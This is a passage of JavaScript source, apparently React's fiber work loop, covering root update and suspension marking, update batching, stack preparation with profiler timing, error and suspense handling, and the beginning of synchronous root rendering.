FunctionComponent ||\n        tag === ForwardRef ||\n        tag === SimpleMemoComponent) &&\n      node.flags & StoreConsistency\n    ) {\n      const updateQueue: FunctionComponentUpdateQueue | null =\n        (node.updateQueue: any);\n      if (updateQueue !== null) {\n        const checks = updateQueue.stores;\n        if (checks !== null) {\n          for (let i = 0; i < checks.length; i++) {\n            const check = checks[i];\n            const getSnapshot = check.getSnapshot;\n            const renderedValue = check.value;\n            try {\n              if (!is(getSnapshot(), renderedValue)) {\n                // Found an inconsistent store.\n                return false;\n              }\n            } catch (error) {\n              // If `getSnapshot` throws, return `false`. This will schedule\n              // a re-render, and the error will be rethrown during render.\n              return false;\n            }\n          }\n        }\n      }\n    }\n    const child = node.child;\n    if (node.subtreeFlags & StoreConsistency && child !== null) {\n      child.return = node;\n      node = child;\n      continue;\n    }\n    if (node === finishedWork) {\n      return true;\n    }\n    while (node.sibling === null) {\n      if (node.return === null || node.return === finishedWork) {\n        return true;\n      }\n      node = node.return;\n    }\n    node.sibling.return = node.return;\n    node = node.sibling;\n  }\n  // Flow doesn't know this is unreachable, but eslint does\n  // eslint-disable-next-line no-unreachable\n  return true;\n}\n\n// The extra indirections around markRootUpdated and markRootSuspended is\n// needed to avoid a circular dependency between this module and\n// ReactFiberLane. There's probably a better way to split up these modules and\n// avoid this problem. Perhaps all the root-marking functions should move into\n// the work loop.\n\nfunction markRootUpdated(root: FiberRoot, updatedLanes: Lanes) {\n  _markRootUpdated(root, updatedLanes);\n\n  if (enableInfiniteRenderLoopDetection) {\n    // Check for recursive updates\n    if (executionContext & RenderContext) {\n      workInProgressRootDidIncludeRecursiveRenderUpdate = true;\n    } else if (executionContext & CommitContext) {\n      didIncludeCommitPhaseUpdate = true;\n    }\n\n    throwIfInfiniteUpdateLoopDetected();\n  }\n}\n\nfunction markRootPinged(root: FiberRoot, pingedLanes: Lanes) {\n  _markRootPinged(root, pingedLanes);\n\n  if (enableInfiniteRenderLoopDetection) {\n    // Check for recursive pings. Pings are conceptually different from updates in\n    // other contexts but we call it an \"update\" in this context because\n    // repeatedly pinging a suspended render can cause a recursive render loop.\n    // The relevant property is that it can result in a new render attempt\n    // being scheduled.\n    if (executionContext & RenderContext) {\n      workInProgressRootDidIncludeRecursiveRenderUpdate = true;\n    } else if (executionContext & CommitContext) {\n      didIncludeCommitPhaseUpdate = true;\n    }\n\n    throwIfInfiniteUpdateLoopDetected();\n  }\n}\n\nfunction markRootSuspended(\n  root: FiberRoot,\n  suspendedLanes: Lanes,\n  spawnedLane: Lane,\n  didAttemptEntireTree: boolean,\n) {\n  if (enableParallelTransitions) {\n    // When suspending, we should always mark the entangled lanes as suspended.\n    suspendedLanes = getEntangledLanes(root, suspendedLanes);\n  }\n\n  // When suspending, we should always exclude lanes that were pinged or (more\n  // rarely, since we try to avoid it) updated during the render phase.\n  suspendedLanes = removeLanes(suspendedLanes, workInProgressRootPingedLanes);\n  suspendedLanes = removeLanes(\n    suspendedLanes,\n    workInProgressRootInterleavedUpdatedLanes,\n  );\n  _markRootSuspended(root, suspendedLanes, spawnedLane, didAttemptEntireTree);\n}\n\nexport function flushRoot(root: FiberRoot, lanes: Lanes) {\n  if (lanes !== NoLanes) {\n    upgradePendingLanesToSync(root, lanes);\n    ensureRootIsScheduled(root);\n    if ((executionContext & (RenderContext | CommitContext)) === NoContext) {\n      resetRenderTimer();\n      // TODO: For historical reasons this flushes all sync work across all\n      // roots. It shouldn't really matter either way, but we could change this\n      // to only flush the given root.\n      flushSyncWorkOnAllRoots();\n    }\n  }\n}\n\nexport function getExecutionContext(): ExecutionContext {\n  return executionContext;\n}\n\nexport function deferredUpdates<A>(fn: () => A): A {\n  const prevTransition = ReactSharedInternals.T;\n  const previousPriority = getCurrentUpdatePriority();\n  try {\n    setCurrentUpdatePriority(DefaultEventPriority);\n    ReactSharedInternals.T = null;\n    return fn();\n  } finally {\n    setCurrentUpdatePriority(previousPriority);\n    ReactSharedInternals.T = prevTransition;\n  }\n}\n\nexport function batchedUpdates<A, R>(fn: A => R, a: A): R {\n  if (disableLegacyMode) {\n    // batchedUpdates is a no-op now, but there's still some internal react-dom\n    // code calling it, that we can't remove until we remove legacy mode.\n    return fn(a);\n  } else {\n    const prevExecutionContext = executionContext;\n    executionContext |= BatchedContext;\n    try {\n      return fn(a);\n    } finally {\n      executionContext = prevExecutionContext;\n      // If there were legacy sync updates, flush them at the end of the outer\n      // most batchedUpdates-like method.\n      if (\n        executionContext === NoContext &&\n        // Treat `act` as if it's inside `batchedUpdates`, even in legacy mode.\n        !(__DEV__ && ReactSharedInternals.isBatchingLegacy)\n      ) {\n        resetRenderTimer();\n        flushSyncWorkOnLegacyRootsOnly();\n      }\n    }\n  }\n}\n\nexport function discreteUpdates<A, B, C, D, R>(\n  fn: (A, B, C, D) => R,\n  a: A,\n  b: B,\n  c: C,\n  d: D,\n): R {\n  const prevTransition = ReactSharedInternals.T;\n  const previousPriority = getCurrentUpdatePriority();\n  try {\n    setCurrentUpdatePriority(DiscreteEventPriority);\n    ReactSharedInternals.T = null;\n    return fn(a, b, c, d);\n  } finally {\n    setCurrentUpdatePriority(previousPriority);\n    ReactSharedInternals.T = prevTransition;\n    if (executionContext === NoContext) {\n      resetRenderTimer();\n    }\n  }\n}\n\n// Overload the definition to the two valid signatures.\n// Warning, this opts-out of checking the function body.\ndeclare function flushSyncFromReconciler<R>(fn: () => R): R;\ndeclare function flushSyncFromReconciler(void): void;\nexport function flushSyncFromReconciler<R>(fn: (() => R) | void): R | void {\n  // In legacy mode, we flush pending passive effects at the beginning of the\n  // next event, not at the end of the previous one.\n  if (\n    pendingEffectsStatus !== NO_PENDING_EFFECTS &&\n    !disableLegacyMode &&\n    pendingEffectsRoot.tag === LegacyRoot &&\n    (executionContext & (RenderContext | CommitContext)) === NoContext\n  ) {\n    flushPendingEffects();\n  }\n\n  const prevExecutionContext = executionContext;\n  executionContext |= BatchedContext;\n\n  const prevTransition = ReactSharedInternals.T;\n  const previousPriority = getCurrentUpdatePriority();\n\n  try {\n    setCurrentUpdatePriority(DiscreteEventPriority);\n    ReactSharedInternals.T = null;\n    if (fn) {\n      return fn();\n    } else {\n      return undefined;\n    }\n  } finally {\n    setCurrentUpdatePriority(previousPriority);\n    ReactSharedInternals.T = prevTransition;\n\n    executionContext = prevExecutionContext;\n    // Flush the immediate callbacks that were scheduled during this batch.\n    // Note that this will happen even if batchedUpdates is higher up\n    // the stack.\n    if ((executionContext & (RenderContext | CommitContext)) === NoContext) {\n      flushSyncWorkOnAllRoots();\n    }\n  }\n}\n\n// If called outside of a render or commit will flush all sync work on all roots\n// Returns whether the the call was during a render or not\nexport function flushSyncWork(): boolean {\n  if ((executionContext & (RenderContext | CommitContext)) === NoContext) {\n    flushSyncWorkOnAllRoots();\n    return false;\n  }\n  return true;\n}\n\nexport function isAlreadyRendering(): boolean {\n  // Used by the renderer to print a warning if certain APIs are called from\n  // the wrong context, and for profiling warnings.\n  return (executionContext & (RenderContext | CommitContext)) !== NoContext;\n}\n\nexport function isInvalidExecutionContextForEventFunction(): boolean {\n  // Used to throw if certain APIs are called from the wrong context.\n  return (executionContext & RenderContext) !== NoContext;\n}\n\n// This is called by the HiddenContext module when we enter or leave a\n// hidden subtree. The stack logic is managed there because that's the only\n// place that ever modifies it. Which module it lives in doesn't matter for\n// performance because this function will get inlined regardless\nexport function setEntangledRenderLanes(newEntangledRenderLanes: Lanes) {\n  entangledRenderLanes = newEntangledRenderLanes;\n}\n\nexport function getEntangledRenderLanes(): Lanes {\n  return entangledRenderLanes;\n}\n\nfunction resetWorkInProgressStack() {\n  if (workInProgress === null) return;\n  let interruptedWork;\n  if (workInProgressSuspendedReason === NotSuspended) {\n    // Normal case. Work-in-progress hasn't started yet. Unwind all\n    // its parents.\n    interruptedWork = workInProgress.return;\n  } else {\n    // Work-in-progress is in suspended state. Reset the work loop and unwind\n    // both the suspended fiber and all its parents.\n    resetSuspendedWorkLoopOnUnwind(workInProgress);\n    interruptedWork = workInProgress;\n  }\n  while (interruptedWork !== null) {\n    const current = interruptedWork.alternate;\n    unwindInterruptedWork(\n      current,\n      interruptedWork,\n      workInProgressRootRenderLanes,\n    );\n    interruptedWork = interruptedWork.return;\n  }\n  workInProgress = null;\n}\n\nfunction finalizeRender(lanes: Lanes, finalizationTime: number): void {\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    if (isGestureRender(lanes)) {\n      clampGestureTimers(finalizationTime);\n    } else if (includesBlockingLane(lanes)) {\n      clampBlockingTimers(finalizationTime);\n    }\n    if (includesTransitionLane(lanes)) {\n      clampTransitionTimers(finalizationTime);\n    }\n    if (includesRetryLane(lanes)) {\n      clampRetryTimers(finalizationTime);\n    }\n    if (includesIdleGroupLanes(lanes)) {\n      clampIdleTimers(finalizationTime);\n    }\n  }\n}\n\nfunction prepareFreshStack(root: FiberRoot, lanes: Lanes): Fiber {\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    // The order of tracks within a group are determined by the earliest start time.\n    // Are tracks should show up in priority order and we should ideally always show\n    // every track. This is a hack to ensure that we're displaying all tracks in the\n    // right order. Ideally we could do this only once but because calls that aren't\n    // recorded aren't considered for ordering purposes, we need to keep adding these\n    // over and over again in case recording has just started. We can't tell when\n    // recording starts.\n    markAllLanesInOrder();\n\n    const previousRenderStartTime = renderStartTime;\n    // Starting a new render. Log the end of any previous renders and the\n    // blocked time before the render started.\n    recordRenderTime();\n    // If this was a restart, e.g. due to an interrupting update, then there's no space\n    // in the track to log the cause since we'll have rendered all the way up until the\n    // restart so we need to clamp that.\n    if (\n      workInProgressRootRenderLanes !== NoLanes &&\n      previousRenderStartTime > 0\n    ) {\n      setCurrentTrackFromLanes(workInProgressRootRenderLanes);\n      if (\n        workInProgressRootExitStatus === RootSuspended ||\n        workInProgressRootExitStatus === RootSuspendedWithDelay\n      ) {\n        // If the root was already suspended when it got interrupted and restarted,\n        // then this is considered a prewarm and not an interrupted render because\n        // we couldn't have shown anything anyway so it's not a bad thing that we\n        // got interrupted.\n        logSuspendedRenderPhase(\n          previousRenderStartTime,\n          renderStartTime,\n          lanes,\n          workInProgressUpdateTask,\n        );\n      } else {\n        logInterruptedRenderPhase(\n          previousRenderStartTime,\n          renderStartTime,\n          lanes,\n          workInProgressUpdateTask,\n        );\n      }\n      finalizeRender(workInProgressRootRenderLanes, renderStartTime);\n    }\n    const previousUpdateTask = workInProgressUpdateTask;\n\n    workInProgressUpdateTask = null;\n    if (isGestureRender(lanes)) {\n      workInProgressUpdateTask = gestureUpdateTask;\n      const clampedUpdateTime =\n        gestureUpdateTime >= 0 && gestureUpdateTime < gestureClampTime\n          ? gestureClampTime\n          : gestureUpdateTime;\n      const clampedEventTime =\n        gestureEventTime >= 0 && gestureEventTime < gestureClampTime\n          ? gestureClampTime\n          : gestureEventTime;\n      const clampedRenderStartTime =\n        // Clamp the suspended time to the first event/update.\n        clampedEventTime >= 0\n          ? clampedEventTime\n          : clampedUpdateTime >= 0\n            ? clampedUpdateTime\n            : renderStartTime;\n      if (gestureSuspendedTime >= 0) {\n        setCurrentTrackFromLanes(GestureLane);\n        logSuspendedWithDelayPhase(\n          gestureSuspendedTime,\n          clampedRenderStartTime,\n          lanes,\n          workInProgressUpdateTask,\n        );\n      } else if (isGestureRender(animatingLanes)) {\n        // If this lane is still animating, log the time from previous render finishing to now as animating.\n        setCurrentTrackFromLanes(GestureLane);\n        logAnimatingPhase(\n          gestureClampTime,\n          clampedRenderStartTime,\n          animatingTask,\n        );\n      }\n      logGestureStart(\n        clampedUpdateTime,\n        clampedEventTime,\n        gestureEventType,\n        gestureEventRepeatTime > 0,\n        gestureUpdateType === PINGED_UPDATE,\n        renderStartTime,\n        gestureUpdateTask,\n        gestureUpdateMethodName,\n        gestureUpdateComponentName,\n      );\n      clearGestureTimers();\n    } else if (includesBlockingLane(lanes)) {\n      workInProgressUpdateTask = blockingUpdateTask;\n      const clampedUpdateTime =\n        blockingUpdateTime >= 0 && blockingUpdateTime < blockingClampTime\n          ? blockingClampTime\n          : blockingUpdateTime;\n      const clampedEventTime =\n        blockingEventTime >= 0 && blockingEventTime < blockingClampTime\n          ? blockingClampTime\n          : blockingEventTime;\n      const clampedRenderStartTime = // Clamp the suspended time to the first event/update.\n        clampedEventTime >= 0\n          ? clampedEventTime\n          : clampedUpdateTime >= 0\n            ? clampedUpdateTime\n            : renderStartTime;\n      if (blockingSuspendedTime >= 0) {\n        setCurrentTrackFromLanes(SyncLane);\n        logSuspendedWithDelayPhase(\n          blockingSuspendedTime,\n          clampedRenderStartTime,\n          lanes,\n          previousUpdateTask,\n        );\n      } else if (\n        !isGestureRender(animatingLanes) &&\n        includesBlockingLane(animatingLanes)\n      ) {\n        // If this lane is still animating, log the time from previous render finishing to now as animating.\n        setCurrentTrackFromLanes(SyncLane);\n        logAnimatingPhase(\n          blockingClampTime,\n          clampedRenderStartTime,\n          animatingTask,\n        );\n      }\n      logBlockingStart(\n        clampedUpdateTime,\n        clampedEventTime,\n        blockingEventType,\n        blockingEventRepeatTime > 0,\n        blockingUpdateType === SPAWNED_UPDATE,\n        blockingUpdateType === PINGED_UPDATE,\n        renderStartTime,\n        lanes,\n        blockingUpdateTask,\n        blockingUpdateMethodName,\n        blockingUpdateComponentName,\n      );\n      clearBlockingTimers();\n    }\n    if (includesTransitionLane(lanes)) {\n      workInProgressUpdateTask = transitionUpdateTask;\n      const clampedStartTime =\n        transitionStartTime >= 0 && transitionStartTime < transitionClampTime\n          ? transitionClampTime\n          : transitionStartTime;\n      const clampedUpdateTime =\n        transitionUpdateTime >= 0 && transitionUpdateTime < transitionClampTime\n          ? transitionClampTime\n          : transitionUpdateTime;\n      const clampedEventTime =\n        transitionEventTime >= 0 && transitionEventTime < transitionClampTime\n          ? transitionClampTime\n          : transitionEventTime;\n      const clampedRenderStartTime =\n        // Clamp the suspended time to the first event/update.\n        clampedEventTime >= 0\n          ? clampedEventTime\n          : clampedUpdateTime >= 0\n            ? clampedUpdateTime\n            : renderStartTime;\n      if (transitionSuspendedTime >= 0) {\n        setCurrentTrackFromLanes(SomeTransitionLane);\n        logSuspendedWithDelayPhase(\n          transitionSuspendedTime,\n          clampedRenderStartTime,\n          lanes,\n          workInProgressUpdateTask,\n        );\n      } else if (includesTransitionLane(animatingLanes)) {\n        // If this lane is still animating, log the time from previous render finishing to now as animating.\n        setCurrentTrackFromLanes(SomeTransitionLane);\n        logAnimatingPhase(\n          transitionClampTime,\n          clampedRenderStartTime,\n          animatingTask,\n        );\n      }\n      logTransitionStart(\n        clampedStartTime,\n        clampedUpdateTime,\n        clampedEventTime,\n        transitionEventType,\n        transitionEventRepeatTime > 0,\n        transitionUpdateType === PINGED_UPDATE,\n        renderStartTime,\n        transitionUpdateTask,\n        transitionUpdateMethodName,\n        transitionUpdateComponentName,\n      );\n      clearTransitionTimers();\n    }\n    if (includesRetryLane(lanes)) {\n      if (includesRetryLane(animatingLanes)) {\n        // If this lane is still animating, log the time from previous render finishing to now as animating.\n        setCurrentTrackFromLanes(SomeRetryLane);\n        logAnimatingPhase(retryClampTime, renderStartTime, animatingTask);\n      }\n    }\n    if (includesIdleGroupLanes(lanes)) {\n      if (includesIdleGroupLanes(animatingLanes)) {\n        // If this lane is still animating, log the time from previous render finishing to now as animating.\n        setCurrentTrackFromLanes(IdleLane);\n        logAnimatingPhase(idleClampTime, renderStartTime, animatingTask);\n      }\n    }\n  }\n\n  const timeoutHandle = root.timeoutHandle;\n  if (timeoutHandle !== noTimeout) {\n    // The root previous suspended and scheduled a timeout to commit a fallback\n    // state. Now that we have additional work, cancel the timeout.\n    root.timeoutHandle = noTimeout;\n    // $FlowFixMe[incompatible-call] Complains noTimeout is not a TimeoutID, despite the check above\n    cancelTimeout(timeoutHandle);\n  }\n  const cancelPendingCommit = root.cancelPendingCommit;\n  if (cancelPendingCommit !== null) {\n    root.cancelPendingCommit = null;\n    cancelPendingCommit();\n  }\n\n  pendingEffectsLanes = NoLanes;\n\n  resetWorkInProgressStack();\n  workInProgressRoot = root;\n  const rootWorkInProgress = createWorkInProgress(root.current, null);\n  workInProgress = rootWorkInProgress;\n  workInProgressRootRenderLanes = lanes;\n  workInProgressSuspendedReason = NotSuspended;\n  workInProgressThrownValue = null;\n  workInProgressRootDidSkipSuspendedSiblings = false;\n  workInProgressRootIsPrerendering = checkIfRootIsPrerendering(root, lanes);\n  workInProgressRootDidAttachPingListener = false;\n  workInProgressRootExitStatus = RootInProgress;\n  workInProgressRootSkippedLanes = NoLanes;\n  workInProgressRootInterleavedUpdatedLanes = NoLanes;\n  workInProgressRootRenderPhaseUpdatedLanes = NoLanes;\n  workInProgressRootPingedLanes = NoLanes;\n  workInProgressDeferredLane = NoLane;\n  workInProgressSuspendedRetryLanes = NoLanes;\n  workInProgressRootConcurrentErrors = null;\n  workInProgressRootRecoverableErrors = null;\n  workInProgressRootDidIncludeRecursiveRenderUpdate = false;\n\n  // Get the lanes that are entangled with whatever we're about to render. We\n  // track these separately so we can distinguish the priority of the render\n  // task from the priority of the lanes it is entangled with. For example, a\n  // transition may not be allowed to finish unless it includes the Sync lane,\n  // which is currently suspended. We should be able to render the Transition\n  // and Sync lane in the same batch, but at Transition priority, because the\n  // Sync lane already suspended.\n  entangledRenderLanes = getEntangledLanes(root, lanes);\n\n  finishQueueingConcurrentUpdates();\n\n  if (__DEV__) {\n    resetOwnerStackLimit();\n\n    ReactStrictModeWarnings.discardPendingWarnings();\n  }\n\n  return rootWorkInProgress;\n}\n\nfunction resetSuspendedWorkLoopOnUnwind(fiber: Fiber) {\n  // Reset module-level state that was set during the render phase.\n  resetContextDependencies();\n  resetHooksOnUnwind(fiber);\n  resetChildReconcilerOnUnwind();\n}\n\nfunction handleThrow(root: FiberRoot, thrownValue: any): void {\n  // A component threw an exception. Usually this is because it suspended, but\n  // it also includes regular program errors.\n  //\n  // We're either going to unwind the stack to show a Suspense or error\n  // boundary, or we're going to replay the component again. Like after a\n  // promise resolves.\n  //\n  // Until we decide whether we're going to unwind or replay, we should preserve\n  // the current state of the work loop without resetting anything.\n  //\n  // If we do decide to unwind the stack, module-level variables will be reset\n  // in resetSuspendedWorkLoopOnUnwind.\n\n  // These should be reset immediately because they're only supposed to be set\n  // when React is executing user code.\n  resetHooksAfterThrow();\n  if (__DEV__) {\n    resetCurrentFiber();\n  }\n\n  if (\n    thrownValue === SuspenseException ||\n    thrownValue === SuspenseActionException\n  ) {\n    // This is a special type of exception used for Suspense. For historical\n    // reasons, the rest of the Suspense implementation expects the thrown value\n    // to be a thenable, because before `use` existed that was the (unstable)\n    // API for suspending. This implementation detail can change later, once we\n    // deprecate the old API in favor of `use`.\n    thrownValue = getSuspendedThenable();\n    // TODO: Suspending the work loop during the render phase is\n    // currently not compatible with sibling prerendering. We will add\n    // this optimization back in a later step.\n    // Don't suspend work loop, except to check if the data has\n    // immediately resolved (i.e. in a microtask). Otherwise, trigger the\n    // nearest Suspense fallback.\n    workInProgressSuspendedReason = SuspendedOnImmediate;\n  } else if (thrownValue === SuspenseyCommitException) {\n    thrownValue = getSuspendedThenable();\n    workInProgressSuspendedReason = SuspendedOnInstance;\n  } else if (thrownValue === SelectiveHydrationException) {\n    // An update flowed into a dehydrated boundary. Before we can apply the\n    // update, we need to finish hydrating. Interrupt the work-in-progress\n    // render so we can restart at the hydration lane.\n    //\n    // The ideal implementation would be able to switch contexts without\n    // unwinding the current stack.\n    //\n    // We could name this something more general but as of now it's the only\n    // case where we think this should happen.\n    workInProgressSuspendedReason = SuspendedOnHydration;\n  } else {\n    // This is a regular error.\n    const isWakeable =\n      thrownValue !== null &&\n      typeof thrownValue === 'object' &&\n      typeof thrownValue.then === 'function';\n\n    workInProgressSuspendedReason = isWakeable\n      ? // A wakeable object was thrown by a legacy Suspense implementation.\n        // This has slightly different behavior than suspending with `use`.\n        SuspendedOnDeprecatedThrowPromise\n      : // This is a regular error. If something earlier in the component already\n        // suspended, we must clear the thenable state to unblock the work loop.\n        SuspendedOnError;\n  }\n\n  workInProgressThrownValue = thrownValue;\n\n  const erroredWork = workInProgress;\n  if (erroredWork === null) {\n    // This is a fatal error\n    workInProgressRootExitStatus = RootFatalErrored;\n    logUncaughtError(\n      root,\n      createCapturedValueAtFiber(thrownValue, root.current),\n    );\n    return;\n  }\n\n  if (enableProfilerTimer && erroredWork.mode & ProfileMode) {\n    // Record the time spent rendering before an error was thrown. This\n    // avoids inaccurate Profiler durations in the case of a\n    // suspended render.\n    stopProfilerTimerIfRunningAndRecordDuration(erroredWork);\n  }\n\n  if (enableSchedulingProfiler) {\n    markComponentRenderStopped();\n    switch (workInProgressSuspendedReason) {\n      case SuspendedOnError: {\n        markComponentErrored(\n          erroredWork,\n          thrownValue,\n          workInProgressRootRenderLanes,\n        );\n        break;\n      }\n      case SuspendedOnData:\n      case SuspendedOnAction:\n      case SuspendedOnImmediate:\n      case SuspendedOnDeprecatedThrowPromise:\n      case SuspendedAndReadyToContinue: {\n        const wakeable: Wakeable = (thrownValue: any);\n        markComponentSuspended(\n          erroredWork,\n          wakeable,\n          workInProgressRootRenderLanes,\n        );\n        break;\n      }\n      case SuspendedOnInstance: {\n        // This is conceptually like a suspend, but it's not associated with\n        // a particular wakeable. It's associated with a host resource (e.g.\n        // a CSS file or an image) that hasn't loaded yet. DevTools doesn't\n        // handle this currently.\n        break;\n      }\n      case SuspendedOnHydration: {\n        // This is conceptually like a suspend, but it's not associated with\n        // a particular wakeable. DevTools doesn't seem to care about this case,\n        // currently. It's similar to if the component were interrupted, which\n        // we don't mark with a special function.\n        break;\n      }\n    }\n  }\n}\n\nexport function shouldRemainOnPreviousScreen(): boolean {\n  // This is asking whether it's better to suspend the transition and remain\n  // on the previous screen, versus showing a fallback as soon as possible. It\n  // takes into account both the priority of render and also whether showing a\n  // fallback would produce a desirable user experience.\n\n  const handler = getSuspenseHandler();\n  if (handler === null) {\n    // There's no Suspense boundary that can provide a fallback. We have no\n    // choice but to remain on the previous screen.\n    // NOTE: We do this even for sync updates, for lack of any better option. In\n    // the future, we may change how we handle this, like by putting the whole\n    // root into a \"detached\" mode.\n    return true;\n  }\n\n  // TODO: Once `use` has fully replaced the `throw promise` pattern, we should\n  // be able to remove the equivalent check in finishConcurrentRender, and rely\n  // just on this one.\n  if (includesOnlyTransitions(workInProgressRootRenderLanes)) {\n    if (getShellBoundary() === null) {\n      // We're rendering inside the \"shell\" of the app. Activating the nearest\n      // fallback would cause visible content to disappear. It's better to\n      // suspend the transition and remain on the previous screen.\n      return true;\n    } else {\n      // We're rendering content that wasn't part of the previous screen.\n      // Rather than block the transition, it's better to show a fallback as\n      // soon as possible. The appearance of any nested fallbacks will be\n      // throttled to avoid jank.\n      return false;\n    }\n  }\n\n  if (\n    includesOnlyRetries(workInProgressRootRenderLanes) ||\n    // In this context, an OffscreenLane counts as a Retry\n    // TODO: It's become increasingly clear that Retries and Offscreen are\n    // deeply connected. They probably can be unified further.\n    includesSomeLane(workInProgressRootRenderLanes, OffscreenLane)\n  ) {\n    // During a retry, we can suspend rendering if the nearest Suspense boundary\n    // is the boundary of the \"shell\", because we're guaranteed not to block\n    // any new content from appearing.\n    //\n    // The reason we must check if this is a retry is because it guarantees\n    // that suspending the work loop won't block an actual update, because\n    // retries don't \"update\" anything; they fill in fallbacks that were left\n    // behind by a previous transition.\n    return handler === getShellBoundary();\n  }\n\n  // For all other Lanes besides Transitions and Retries, we should not wait\n  // for the data to load.\n  return false;\n}\n\nfunction pushDispatcher(container: any) {\n  const prevDispatcher = ReactSharedInternals.H;\n  ReactSharedInternals.H = ContextOnlyDispatcher;\n  if (prevDispatcher === null) {\n    // The React isomorphic package does not include a default dispatcher.\n    // Instead the first renderer will lazily attach one, in order to give\n    // nicer error messages.\n    return ContextOnlyDispatcher;\n  } else {\n    return prevDispatcher;\n  }\n}\n\nfunction popDispatcher(prevDispatcher: any) {\n  ReactSharedInternals.H = prevDispatcher;\n}\n\nfunction pushAsyncDispatcher() {\n  const prevAsyncDispatcher = ReactSharedInternals.A;\n  ReactSharedInternals.A = DefaultAsyncDispatcher;\n  return prevAsyncDispatcher;\n}\n\nfunction popAsyncDispatcher(prevAsyncDispatcher: any) {\n  ReactSharedInternals.A = prevAsyncDispatcher;\n}\n\nexport function markRenderDerivedCause(fiber: Fiber): void {\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    if (__DEV__) {\n      if (workInProgressUpdateTask === null) {\n        // If we don't have a cause associated with this render, it's likely because some\n        // other render left work behind on this Fiber. The real cause is this Fiber itself.\n        // We use its debugTask as the cause for this render. This might not be the only\n        // one when multiple siblings are rendered but they ideally shouldn't be.\n        workInProgressUpdateTask =\n          fiber._debugTask == null ? null : fiber._debugTask;\n      }\n    }\n  }\n}\n\nexport function markTransitionStarted() {\n  globalMostRecentTransitionTime = now();\n}\n\nexport function markCommitTimeOfFallback() {\n  globalMostRecentFallbackTime = now();\n}\n\nexport function markSkippedUpdateLanes(lane: Lane | Lanes): void {\n  workInProgressRootSkippedLanes = mergeLanes(\n    lane,\n    workInProgressRootSkippedLanes,\n  );\n}\n\nexport function renderDidSuspend(): void {\n  if (workInProgressRootExitStatus === RootInProgress) {\n    workInProgressRootExitStatus = RootSuspended;\n  }\n}\n\nexport function renderDidSuspendDelayIfPossible(): void {\n  workInProgressRootExitStatus = RootSuspendedWithDelay;\n\n  if (\n    !workInProgressRootDidSkipSuspendedSiblings &&\n    // Check if the root will be blocked from committing.\n    // TODO: Consider aligning this better with the rest of the logic. Maybe\n    // we should only set the exit status to RootSuspendedWithDelay if this\n    // condition is true? And remove the equivalent checks elsewhere.\n    (includesOnlyTransitions(workInProgressRootRenderLanes) ||\n      getSuspenseHandler() === null)\n  ) {\n    // This render may not have originally been scheduled as a prerender, but\n    // something suspended inside the visible part of the tree, which means we\n    // won't be able to commit a fallback anyway. Let's proceed as if this were\n    // a prerender so that we can warm up the siblings without scheduling a\n    // separate pass.\n    workInProgressRootIsPrerendering = true;\n  }\n\n  // Check if there are updates that we skipped tree that might have unblocked\n  // this render.\n  if (\n    (includesNonIdleWork(workInProgressRootSkippedLanes) ||\n      includesNonIdleWork(workInProgressRootInterleavedUpdatedLanes)) &&\n    workInProgressRoot !== null\n  ) {\n    // Mark the current render as suspended so that we switch to working on\n    // the updates that were skipped. Usually we only suspend at the end of\n    // the render phase.\n    // TODO: We should probably always mark the root as suspended immediately\n    // (inside this function), since by suspending at the end of the render\n    // phase introduces a potential mistake where we suspend lanes that were\n    // pinged or updated while we were rendering.\n    // TODO: Consider unwinding immediately, using the\n    // SuspendedOnHydration mechanism.\n    const didAttemptEntireTree = false;\n    markRootSuspended(\n      workInProgressRoot,\n      workInProgressRootRenderLanes,\n      workInProgressDeferredLane,\n      didAttemptEntireTree,\n    );\n  }\n}\n\nexport function renderDidError() {\n  if (workInProgressRootExitStatus !== RootSuspendedWithDelay) {\n    workInProgressRootExitStatus = RootErrored;\n  }\n}\n\nexport function queueConcurrentError(error: CapturedValue<mixed>) {\n  if (workInProgressRootConcurrentErrors === null) {\n    workInProgressRootConcurrentErrors = [error];\n  } else {\n    workInProgressRootConcurrentErrors.push(error);\n  }\n}\n\n// Called during render to determine if anything has suspended.\n// Returns false if we're not sure.\nexport function renderHasNotSuspendedYet(): boolean {\n  // If something errored or completed, we can't really be sure,\n  // so those are false.\n  return workInProgressRootExitStatus === RootInProgress;\n}\n\n// TODO: Over time, this function and renderRootConcurrent have become more\n// and more similar. Not sure it makes sense to maintain forked paths. Consider\n// unifying them again.\nfunction renderRootSync(\n  root: FiberRoot,\n  lanes: Lanes,\n  shouldYieldForPrerendering: boolean,\n): RootExitStatus {\n  const prevExecutionContext = executionContext;\n  executionContext |= RenderContext;\n  const prevDispatcher = pushDispatcher(root.containerInfo);\n  const prevAsyncDispatcher = pushAsyncDispatcher();\n\n  // If the root or lanes have changed, throw out the existing stack\n  // and prepare a fresh one. Otherwise we'll continue where we left off.\n  if (workInProgressRoot !== root || workInProgressRootRenderLanes !== lanes) {\n    if (enableUpdaterTracking) {\n      if (isDevToolsPresent) {\n        const memoizedUpdaters = root.memoizedUpdaters;\n        if (memoizedUpdaters.size > 0) {\n          restorePendingUpdaters(root, workInProgressRootRenderLanes);\n          memoizedUpdaters.clear();\n        }\n\n        // At this point, move Fibers that scheduled the upcoming work from the Map to the Set.\n        // If we bailout on this work, we'll move them back (like above).\n        // It's important to move them now in case the work spawns more work at the same priority with different updaters.\n        // That way we can keep the current update and future updates separate.\n        movePendingFibersToMemoized(root, lanes);\n      }\n    }\n\n    workInProgressTransitions = getTransitionsForLanes(root, lanes);\n    prepareFreshStack(root, lanes);\n  }\n\n  if (enableSchedulingProfiler) {\n    markRenderStarted(lanes);\n  }\n\n  let didSuspendInShell = false;\n  let exitStatus = workInProgressRootExitStatus;\n  outer: do {\n    try {\n      if (\n        workInProgressSuspendedReason !== NotSuspended &&\n        workInProgress !== null\n      ) {\n        // The work loop is suspended. During a synchronous render, we don't\n        // yield to the main thread. Immediately unwind the stack. This will\n        // trigger either a fallback or an error boundary.\n        // TODO: For discrete and \"default\" updates (anything that's not\n        // flushSync), we want to wait for the microtasks the flush before\n        // unwinding. Will probably implement this using renderRootConcurrent,\n        // or merge renderRootSync and renderRootConcurrent into the same\n        // function and fork the behavior some other way.\n        const unitOfWork = workInProgress;\n        const thrownValue = workInProgressThrownValue;\n        switch (workInProgressSuspendedReason) {\n          case SuspendedOnHydration: {\n            // Selective hydration. An update flowed into a dehydrated tree.\n            // Interrupt the current render so the work loop can switch to the\n            // hydration lane.\n            // TODO: I think we might not need to reset the stack here; we can\n            // just yield and reset the stack when we re-enter the work loop,\n            // like normal.\n            